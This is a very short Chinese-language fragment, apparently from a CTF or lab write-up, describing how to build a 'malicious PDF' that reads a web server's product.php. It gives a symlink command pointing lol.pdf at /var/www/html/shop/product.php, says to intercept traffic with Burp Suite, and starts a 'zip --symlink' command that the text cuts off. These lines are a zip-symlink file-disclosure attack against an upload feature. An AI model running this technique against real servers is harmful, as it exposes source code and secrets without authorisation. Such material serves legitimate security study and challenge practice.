先生成恶意的pdf，然后使用burpsuite抓包，抓取product.php内容ln -s /var/www/html/shop/product.php lol.pdfzip --symlink l...